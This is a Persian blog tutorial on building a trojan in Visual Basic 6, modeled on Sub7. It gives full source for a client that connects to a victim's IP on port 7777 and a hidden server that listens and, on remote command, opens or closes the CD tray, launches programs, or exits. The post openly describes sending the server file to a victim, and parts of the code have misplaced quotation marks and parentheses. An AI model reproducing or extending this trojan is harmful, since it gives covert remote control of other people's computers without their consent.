آموزش تخصصی ویژوال بیسیک 6

مسائل مربوط به برنامه نویسی ویژوال بیسیک 6

آموزش تخصصی ویژوال بیسیک 6

مسائل مربوط به برنامه نویسی ویژوال بیسیک 6

آموزش ساخت تروجان با ویژوال بیسیک

در این جلسه شما ابتدا با یک تروجان (مانند Sub 7 ) آشنا میشین و قسمت های مختلف اون رو مورد تجزیه و تحلیل قرار میدینو بعد با یک مثال ساده یک تروجان نسبتا پر قدرت میسازین.

کار تروجان به این صورت است که ابتدا فایل سرور را به یک نفر ارسال میکند و با اجرا شدن این فایل سرور کامپیوتر شخص بدبخت(Victim) برای کار تروجان ما یک راه باز میزاره.برای اینکه به کامپیوتر شخصی فایل سرور(Server) را ارسال کنیم نیاز به یک آدرس یا نشانی داریم که نشانی میتونه IP باشه یا میتونه نام کامپیوتر فرد قربانی باشه.بعد از اینکه تروجان ما به کامپیوتر فرد قربانی متصل بشه (مثل زالو بهش بچسبه) اطلاعاتی رو برای کامپیوتر فرد قربانی ارسال میکنه که این اطلاعات میتونند کارهایی از قبیل روشن خاموش کردن مانیتور باز و بسته کردن در سی دی درایو و کارهایی از این قبیل انجام بده.

برای اینکه ما بتونیم به کامپیوتر فرد قربانی متصل بشیم به یک منبع و یا یک کنترل احتیاج داریم که اطلاعات ما رو از طریق شبکه به کامپیوتر فرد قربانی بفرسته.در ویژوال بیسیک کنترلی وجود داره که این کار رو انجام میده که اسم این کنترل Win Socket است.

نمونه برنامه برای یادگیری ساخت تروجان :

قبل از شروع باید بگم به خاطر اینکه سایتی که فایل های تصویری رو بشه داخلش آپلود کرد گیر نیاوردم نتونستم عکس رو همره با آموزش بزارم اگه مشگلی پیش اومد حتما بگین یا اگه کسی یه سایت که بشه داخلش عکس آپلود کرد بلده بگه ممنون میشم.

ابتدا یک پروژه جدید از نوع Standard EXE باز کنید.

برای ساخت برنامه Clint با زدن کلیدهای ترکیبی Ctrl + T یا با کلیک کردن گزینه Components از منوی Project جعبه گفتگوی انتخاب کنترل ها را باز کنید.سپس به دنبال Microsoft WinSock Control 0.6 بگردین و چک بوکس کنار اون رو فعال کنین تا کنترل Win Sock به جعبه ابزار شما اضافه بشه . شکل کنترل WinSock یه چیزی مثل ۲ تا کامپیوتر ه که با یک خط به هم متصل شدند.

با دوبار کلیک کردن روی کنترل WinSock  اون رو به فرمتون اضافه کنید.

۶ عدد دکمه فرمان (Command) به فرمتون اضافه کنین و بعد از اون ۱ عدد تکست بوکس (Text Box) دیگر به فرم اضافه کنین.

خاصیت کنترل ها به صورت زیر هست:

ردیف نام کنترل خصوصیت Caption
۱ Command1 Connect
2 Command2 !Open The CDRom
3 Command3 Close The CDRom
4 Command4 Run OSK
5 Command5 Run NotPad
6 Command6 Close Trojan

 

 

 

 

 

شما میتونید به سلیقه خودتون کنترل ها رو روی فرم قرار بدین.

نوشتن کد برنامه:

روی دکمه فرمان Connect دابل کلیک کنید تا روال مربوط به کلیک شدن دکمه فرمان Command1 با بشه سپس کدهای زیر رو بنویسید:

Private sub Command1_Click

WinSock1.Close

WinSock1.Connect Text1.Text , 7777

End Sub

در قطعه کد بالا کنترل WinSock از طریق Ip که در Text1 نوشته میشه با پورت ۷۷۷۷ به کامپیوتر قربانی متصل میشه.

در مرحله دوم روی دکمه فرمان Open CD Rom دوبار کلیک کنید.و بعد قطعه کد زیر را بنویسید:

Private Sub Command2_Click

Dim strData as String

"strData = "OPENCD

WinSock1.SendData   strData

End Sub

در قطعه کد بالا با فشرده شدن دکمه فرمان Open CDRom ابتدا یک متغیر از نوع رشته ای درست میشه و در خط بعد مقدار متغیر ما (OPEN) برابر با OPENCD میشه و بعد مقدار متغیر برای کامپیوتر قربانی فرستاده میشه.

مرحله سوم:روی دکمه فرمان Close CDRom دابل کیک کنید و سپس کدهای زیر را بنویسید:

Private Sub Command3_Click

 Dim strData as String

"strData = "CLOSECD

WinSock1.SendData  strData

End Sub

مرحله چهارم:روی دکمه فرمان Run OSK دابل کلیک کنید و سپس قطعه کد زیر رو بنویسید:

Private Sub Command4_Click

Dim strData as String

"strData = "RunWindowOSK

WinSock1.SendData  strData

End Sub

مرحله پنجم:روی دکمه فرمان Run Note Pad دابل کلید کنید و قطعه کد زیر رو بنویسید:

Private Sub Command5_Click

Dim strData as String

"strData = "RunWindowNotePad

winSock1.SendData  strData

End Sub

مرحله ششم: روی دکمه فرمان Close Trojan دوبار کلیک کنید و قطعه کد زیر رو بنویسید:

Private Sub Command6_Click

Dim strData as String

"strData = "CloseMe

WinSock1.SendData  strData

End Sub

مرحله ششم برای تروجان ما مرحله مهمی است که باعث میشه که اتصال رو با فرد قربانی قطع کنیم و به برنامه پایان دهیم.

مرحله  هفتم: روی کنترل WinSock خودتون دوبار کلیلک کنید و در روال رویداد Connect کنترل WinSock قطعه کدهای زیر رو بنویسید:

Private Sub WinSock1_Connect

"WinSock1.SendData "Trojan

End Sub

مرحله هشتم:حالا در روال رویداد DataArival کنترل WinSock قطعه کد زیر را بنویسید:

(Private Sub WinSock1_DataArival(Byval BytesTotal as Long

Dim  StrData as String

WinSock1.GetData StrData , vbString

End Sub

با قطعه کدهایی که در بالا نوشتیم تازه برنامه Clint رو ساختیم و تازه حدود ۳۰ درصد کارو انجام دادیم

برای ساختن کامل برنامه و همچنین ساخت برنامه Server باید کارهای زیر رو انجام بدهید تا ۷۰ درصد دیگه کار انجام بشه.

ابتدا یک پروژه دیگه از نوع Standard EXE باز کنید و یک کنترل WinSock به نام WinSock1 به فرم خودتون اضافه کنید.

حالا میریم سراغ API های ویندوز اگه جلسه قبل رو مطالعه کرده باشین با این تابع API آشنا هستید . کار این تابع اینه که باعث میشه در CDRom یا Writer باز و بسته بشه.

با بازکردن پنجر کد (پنجره ViewCode ) در قسمت General کدها قطعه کد زیر رو بنویسید:

Private Declare Function mciSendString Lib "Winmm.dll" Alias "mciSendStringA" (Byval lpstrCommand as String , Byval lpstrReturnString as String , Byval uReturnLength as Long , Byval hwndCallBack as Long) as Long

حالا برای اینکه سرور ما دستوراتی که از Clint میاد اجرا کنه ما برای اون دستورات چند تا تابع مینویسیم

در ابتدا تابع باز شدن در CDRom رامینویسیم . در قسمت General پنجره کد کدهای زیر را بنویسید:

Private Function EjectCD

mciSendString "Set CDAudio Door Open" , 0 , 0 , 0 

End Function

بعد از تابع بالا تابع بسته شدن درب CDRom رو مینویسیم:

Private Function CloseCD

mciSendString "Set CDAudio Door Closed" , 0 , 0 , 0

End Function

حالا از پنجره View Code خارج بشین و روی فرم خودتون دابل کلیک کنید و در روال رویدار Load فرم کدهای زیر رو بنویسید:

Private Sub Form1_Load

WinSock1.LocalPort = 7777

WinSock1.Listen

Form1.Hide

End Sub

در خط اول نوشتیم که کنترل WinSock فقط از طریق پورت ۷۷۷۷ ارتباط برقرار کند و در خط دوم به برنامه سرور دستور Listen (گوش دادن) به Clint داده شد و در خط سوم فرم سرور مخفی بشه.

حالا از پنجره ViewCode خارج بشین و در روال رویداد ConnectionRequest کنترل WinSock کدهای زیر رو بنویسید:

(Private Sub WinSock1_ConnectionRequest (ByVal RequestID as Long 

If WinSock1.State <> sckClosed then WinSock1.Close

WinSock1.Accept  RequestID

End Sub

خوبه خوبه تا فعلا ۸۵ درصد کارها رو انجام دادین برای تکمیل کارها در روال رویداد DataArival کنترل WinSock قطعه کد زیر رو بنویسید:

(Private Sub WinSock1_DataArival (ByVal bytesTotal as Long 

DoEvents

Dim strData as String

(Call WinSock1.GetData (strData$ , vbString

DoEvent

Select Case strData

"Case "CloseMe

Unload Me

"Case "OPENCD 

EjectCD

"Case "CLOSECD

CloseCD

"Case "RunWindowOSK

"shell "OSK.exe

"Case "RunWindowNotePad

"Shell "NotePad.exe

End Select

End Sub

خوب حالا میتونین یه نفس راحت بکشین چون که کار ما تموم شد برای تست کردن برنامه در کامپیوتر خودتون ابتدا هر دو برنامه که ساختین (Clint and Server) اجرا کنین بعد درداخل Text1 در برنامه Clint شماره ۱۲۷.۰.۰.۱ رو بنویسید و بعد دکمه Connect رو بزنین و بعد بازدن دکمه فرمان های OpenCDRom و CloseCDRom و غیره برنامتون رو تست کنین و حالشو ببرین.

نظرات 0 + ارسال نظر
برای نمایش آواتار خود در این وبلاگ در سایت Gravatar.com ثبت نام کنید. (راهنما)
ایمیل شما بعد از ثبت نمایش داده نخواهد شد